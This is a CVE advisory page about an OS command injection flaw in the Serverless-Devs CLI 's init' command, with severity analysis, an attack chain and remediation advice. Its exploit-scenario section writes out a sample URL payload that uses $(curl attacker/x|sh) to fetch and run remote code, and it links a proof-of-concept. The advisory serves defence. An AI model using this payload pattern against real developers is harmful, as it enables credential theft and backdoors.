Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft URL ending in .git with shell payload
-
DeliveryLure developer to run 's init'
-
ExploitBypass .git-only input check
-
Executionspawn() with shell:true executes payload
-
PersistRun arbitrary commands as user
-
ImpactSteal cloud credentials or backdoor host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to invoke the 's init' command of @serverless-devs/s (<= 3.1.11) and supply an attacker-controlled argument - typically a repository/template URL. The specific bypass condition is that the argument must end in '.git' to satisfy the tool's sole input check while still containing shell metacharacters, which are then executed because spawn() is called with shell:true. Limiting factors that reduce real-world risk: the attacker cannot trigger this remotely on their own - a user must be socially engineered into running the command with the malicious value (user interaction), execution occurs locally on the developer's machine, and impact is bounded by the privileges of that user. This is not remote unauthenticated exploitation of a service despite the input CVSS AV:N/UI:N rating. |
| Impact | The signals conflict and should be weighed rather than taken at face value. The input CVSS of 9.8 (AV:N/AC:L/PR:N/UI:N) implies remote, unauthenticated, no-interaction exploitation, but the description makes clear the attack fires only when a user voluntarily runs 's init' with an attacker-controlled argument - that is realistically local execution with user interaction, so the 9.8 likely overstates true risk. SSVC (exploitation: poc, automatable: yes, technical impact: total) and the existence of POC code raise the priority, yet EPSS is low (0.48%, 39th percentile) and there is no CISA KEV listing, indicating no confirmed widespread exploitation. Net: this is a real, high-impact developer-workstation supply-chain/social-engineering risk for teams using this CLI, but not a mass-exploitable internet-facing 9.8 - treat as important for affected dev environments, not an emergency for the general population. CVSS indicates network vector and no user interaction, but the description implies local invocation with a crafted argument - verify the true vector before ranking as critical. |
| Exploit ScenarioDerived | An attacker publishes a malicious project template, README, or tutorial containing an init URL like 'https://evil.example/repo$(curl attacker/x|sh).git' and lures a developer into running 's init' with it. Because the string ends in '.git' it passes the only validation, and shell:true causes the embedded command to execute with the developer's privileges, stealing cloud credentials or installing a backdoor. A public POC gist demonstrates the injection, lowering the skill barrier. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 07, 2026
OS command injection in the Serverless-Devs CLI (@serverless-devs/s versions 3.1.11 and earlier) lets an attacker execute arbitrary commands on a developer's machine when they run 's init' with a crafted, attacker-influenced argument. The tool passes unsanitized input into child_process.spawn() with shell:true, and the single guard check - requiring the value to end in '.git' - is trivially satisfied by an attacker while still smuggling shell metacharacters. Publicly available exploit code exists (a proof-of-concept gist), SSVC rates technical impact as total and automatable, but EPSS remains low at 0.48% and it is not in CISA KEV.
RemediationAI
Upgrade @serverless-devs/s to a fixed release above 3.1.11 once published; no exact patched version is provided in the available data, so confirm the fixed version directly with the maintainers before deploying - no vendor-released patch version is independently confirmed here. Until a fix is verified, do not run 's init' with untrusted or attacker-supplied repository URLs/template arguments, and treat any '.git' argument from an unverified source as dangerous despite the extension check. Compensating controls: pin and vet the exact template/registry sources you pass to 's init'; run the CLI inside an unprivileged, sandboxed container or throwaway VM so that command execution cannot reach credentials, cloud tokens, or CI secrets (trade-off: added workflow friction); and remove cached cloud credentials from the environment where the CLI runs to limit blast radius. Reference: the POC gist (https://gist.github.com/j311yl0v3u/5600afea3bea1337805c2e335bd4ae8e) and NVD (https://nvd.nist.gov/vuln/detail/CVE-2026-51190).
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Serverless-Devs is an open-source serverless application lifecycle/DevOps toolchain (widely associated with the Alibaba Cloud Function Compute ecosystem) whose 's' CLI scaffolds projects via the 's init' command. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user-supplied input is forwarded to Node.js child_process.spawn() with the shell:true option, which routes the arguments through '/bin/sh -c' (or cmd.exe) rather than executing a program directly. Because a shell interprets metacharacters such as ';', '&&', '|', backticks and '$()', any injected sequence is executed. The only validation is a check that the argument ends with '.git', which does not neutralize shell syntax - a payload like 'https://x/$(malicious).git' both passes the check and executes.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack executes locally only when a user runs 's init' with a crafted argument (AV:L, UI:R); no prior privileges needed (PR:N); shell command execution yields full C/I/A impact.
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
The "s init" command in Serverless-Devs @serverless-devs/s <= 3.1.11 passes unsanitized user input to child_process.spawn() with shell: true. A URL ending in ".git" bypasses the only input check, allowing OS command injection when a user runs "s init" with an attacker-controlled argument.
Executive ViewAI
A critical command injection flaw in Serverless-Devs CLI (@serverless-devs/s) versions 3.1.11 and earlier can grant attackers code execution rights on developer workstations through maliciously crafted initialization commands. The vulnerability is exploitable via proof-of-concept code, placing any developer using this tool at risk of credentials compromise and lateral movement into downstream applications and infrastructure.
Restrict 's init' execution to pre-approved, signed initialization scripts; execute Serverless-Devs commands only within isolated sandboxed environments with restricted outbound network access and credential exposure prevention; implement process-level monitoring for unexpected child processes spawned from Node.js; disable 's init' entirely and migrate to alternative serverless frameworks; establish code review for any use of @serverless-devs/s and require explanation of arguments.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2026-52481
GHSA-rm7q-w9c9-27rj
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB